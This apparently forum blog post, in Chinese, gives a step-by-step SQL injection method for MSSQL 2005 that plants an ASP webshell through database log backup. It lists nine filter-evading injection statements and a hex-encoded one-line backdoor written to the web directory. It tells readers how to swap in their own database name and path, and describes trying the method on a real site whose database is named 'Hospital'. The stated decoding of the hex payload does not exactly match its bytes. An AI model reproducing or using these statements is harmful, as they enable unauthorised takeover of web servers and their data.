網(wǎng)站路徑也搞到了，本想使用差異備份，在數(shù)據(jù)庫(kù)日志中插入一句話，然后備份到網(wǎng)站目錄下拿shell的，估計(jì)是用戶沒(méi)有備份數(shù)據(jù)庫(kù)的權(quán)限，但使用MSSQL2000的備份方法根本行不通，后來(lái)才想到MSSQL2005的備份和MSSQL2000有點(diǎn)不同。

后來(lái)在網(wǎng)上搜半天沒(méi)有找到具體的備份語(yǔ)句，后來(lái)在群求助，小冰才發(fā)我了具體的利用語(yǔ)句，但貼出來(lái)的文章貌似沒(méi)啥水準(zhǔn)，大家都知道手工差異備份是自己需要修改數(shù)據(jù)庫(kù)名和網(wǎng)站路徑的，但那個(gè)文章中對(duì)語(yǔ)句沒(méi)有做任何解釋，無(wú)奈之下我只好自己嘗試了，雖然測(cè)試的網(wǎng)站沒(méi)有成功拿下shell，單語(yǔ)句是沒(méi)有錯(cuò)誤的，我在本地的MSSQL2005的查詢分析器中測(cè)試通過(guò)了，再次特將語(yǔ)句整理出來(lái)分享個(gè)大家，并做好詳細(xì)的解釋說(shuō)明，首先來(lái)貼出語(yǔ)句。

第一步
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--

第二步：
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第三步
;drop/**/table/**/[itpro]--

第四步
;create/**/table/**/[itpro]([a]/**/image)--

第五步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第六步
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--

第七步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

第八步
;drop/**/table/**/[itpro]--

第九步
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--

其中紅色的“Hospital”既是數(shù)據(jù)庫(kù)名，這個(gè)要根據(jù)自己的情況來(lái)修改，然后黃色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句話“<%eval request("a")%>”的內(nèi)容，橙色的“0x65003A005C007700650062005C007A002E00610073007000”為備份的路徑“e:\web\z.asp”，都是使用的SQL_En的格式，另外第三步大可以不需要！他是刪除itpro的表，如果第一次的話這個(gè)表是不存在的，就會(huì)提示無(wú)權(quán)限的信息。另外在語(yǔ)句“disk=@d”的地方可以將“=”更換成“%3D”，就是使用URL編碼。“/**/”就等于空格了，這個(gè)大家在學(xué)習(xí)注入的過(guò)程中應(yīng)該了解，也可以更換成“%20”。

最新評(píng)論